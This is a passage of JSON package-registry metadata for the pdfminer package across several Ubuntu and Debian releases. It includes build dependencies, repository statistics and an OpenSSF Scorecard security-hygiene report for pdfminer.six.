/v1/registries/ubuntu-24.10/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-04-27T18:20:37.303Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":13796787,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T16:37:59.839Z","latest_release_published_at":"2026-02-13T16:37:59.839Z","latest_release_number":"20221105+dfsg-1","last_synced_at":"2026-03-13T21:29:14.949Z","created_at":"2026-02-13T16:37:59.565Z","updated_at":"2026-03-13T21:29:14.949Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T16:38:00.412Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.636Z","updated_at":"2026-04-27T18:20:38.051Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":13560481,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-11T05:13:26.513Z","latest_release_published_at":"2026-02-11T05:13:26.513Z","latest_release_number":"20221105+dfsg-1","last_synced_at":"2026-03-11T12:07:30.120Z","created_at":"2026-02-11T05:13:26.338Z","updated_at":"2026-03-11T12:07:30.121Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:52:04.209Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-04-27T18:20:38.741Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13746526,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T06:06:20.542Z","latest_release_published_at":"2026-02-13T06:06:20.542Z","latest_release_number":"20191020+dfsg-2","last_synced_at":"2026-03-14T00:24:14.557Z","created_at":"2026-02-13T06:06:20.322Z","updated_at":"2026-03-14T00:24:14.868Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.4.1","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 12), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-chardet, python3-nose, python3-setuptools, python3-six, python3-sortedcontainers, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2026-01-01T22:48:40.000Z","size":21820,"stargazers_count":6839,"open_issues_count":211,"forks_count":1017,"subscribers_count":112,"default_branch":"master","last_synced_at":"2026-01-06T03:27:50.600Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2026-01-04T23:11:27.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29397661,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-13T04:26:15.637Z","status":"ssl_error","status_checked_at":"2026-02-13T04:16:29.732Z","response_time":78,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-02-13T06:06:26.733Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":0.12046983234615,"forks_count":0.08700599002777498,"docker_downloads_count":null,"average":0.051868955593481245},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-02-06T02:00:40.506Z","issues_count":309,"pull_requests_count":183,"avg_time_to_close_issue":34946369.35483871,"avg_time_to_close_pull_request":7645520.625,"issues_closed_count":124,"pull_requests_closed_count":152,"pull_request_authors_count":56,"issue_authors_count":197,"avg_comments_per_issue":1.7346278317152104,"avg_comments_per_pull_request":1.4153005464480874,"merged_pull_requests_count":117,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":67,"past_year_avg_time_to_close_issue":2439703.1818181816,"past_year_avg_time_to_close_pull_request":1654275.0576923077,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":1.0,"past_year_avg_comments_per_pull_request":1.1940298507462688,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":43,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"focal"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-04-27T18:20:36.874Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":13599079,"name":"pdfminer","ecosystem":"debian","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T10:41:00.819Z","latest_release_published_at":"2026-02-11T10:41:00.819Z","latest_release_number":"20181108+dfsg-3","last_synced_at":"2026-03-14T02:01:17.998Z","created_at":"2026-02-11T10:41:00.624Z","updated_at":"2026-03-14T02:01:17.998Z","registry_url":"https://tracker.debian.org/pkg/pdfminer","install_command":"apt-get install pdfminer","documentation_url":"https://packages.debian.org/buster/pdfminer","metadata":{"component":"main","architecture":"all","priority":"source","binary":"python-pdfminer, python3-pdfminer, pdfminer-data","standards_version":"4.3.0","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 12~), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python-all (\u003e= 2.6.6-3~), python-nose, python-setuptools, python-six, python-sortedcontainers, python3-all, python3-chardet, python3-nose, python3-setuptools, python3-six, python3-sortedcontainers, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:12:42.622Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pdfminer?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian","funded_packages_count":92},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-05-28T05:12:04.886Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13524890,"name":"pdfminer","ecosystem":"debian","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_u